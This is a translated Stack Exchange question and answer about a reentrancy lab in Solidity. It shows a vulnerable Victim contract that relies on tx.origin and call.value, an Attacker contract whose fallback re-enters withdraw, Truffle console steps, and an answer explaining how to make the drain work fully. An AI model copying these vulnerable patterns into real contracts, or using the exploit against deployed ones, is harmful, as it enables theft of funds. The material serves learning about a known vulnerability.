Reentrant-Attacks

在 Truffle Console 上執行重入:攻擊者沒有竊取 5 個乙太,為什麼只有 2 個重入呼叫?

  • May 22, 2021

我正在做提供的範例: JustDev 我已經參數化了withdraw 方法。

受害者 SC 是:

pragma solidity ^0.5.8;
contract Victim{
  address owner;
  constructor() public{
     owner = msg.sender;
  }
  function  withdraw(address payable to, uint amount) public{
     
    // uint transferAmt = 1 ether;
     require(tx.origin == owner); 
     (bool success, ) = to.call.value(amount)("");
     require(success);
  }
  function() payable external {}
}

攻擊者 SC:

pragma solidity ^0.5.8;
import './Victim_tx8.sol';
contract  Attacker{
  uint amount = 1 ether;
  address payable owner;
  Victim  public v;
  uint public  count;
  event LogFallback(uint c, uint balance);
  

  constructor (address payable victim) public {
     owner = msg.sender;
     count =0;
     v=Victim(victim);
  }
 

  function attack(address payable to, uint a) public {
     v.withdraw(to, a);
  }

  function () external payable{
     count++;
     emit LogFallback(count, address(this).balance);
     if(count < 5 ) {
        v.withdraw(owner,amount);
     }
   }
}

我認為它沒有執行 5 次重入呼叫(為什麼?)。我使用了 Truffle 控制台並執行了以下命令:

      V = await Victim.deployed()
      A = await Attacker.deployed()
      acc2 = accounts[2]
      web3.eth.sendTransaction({to:V.address, from:acc2, value: web3.utils.toWei('15')})//executes the transaction
      Vbal = await web3.eth.getBalance(V.address)
      web3.utils.fromWei(Vbal, "ether")
      15
      await A.attack(A.address, web3.utils.toWei('1',"ether"),{from:accounts[0]})//executes the transaction
      Vbal = await web3.eth.getBalance(V.address)
      web3.utils.fromWei(Vbal, "ether")
      '13'
      Abal = await web3.eth.getBalance(A.address)
      undefined
      web3.utils.fromWei(Abal, "ether")
      '1'

Victim 的初始餘額為 0,然後增加到 15。在重入過程中,Withdraw(..) 正在轉移 Ether,但 Victim 的最終餘額為 ‘13’,而攻擊者的餘額僅為 ‘1’,為什麼?有人請指導我為什麼沒有5輪可重入呼叫?

只需在智能合約的備份功能中替換v.withdraw(owner,amount);為。v.withdraw(address(this),amount);``Attacker

其實owner這裡指的是用來部署的賬號Attacker。所以目前該withdraw函式只被呼叫兩次:

  • 將金額a(1 乙太幣)轉移到to地址(Attackeraddress),ato作為attack函式的參數。
  • 將 1 個乙太幣(amount狀態變數)轉移到ownerEOA。

通過在備份中替換ownerby address(this),您將獲得正確的行為,並且Attacker智能合約將收到4 ether + a.

引用自:https://ethereum.stackexchange.com/questions/99460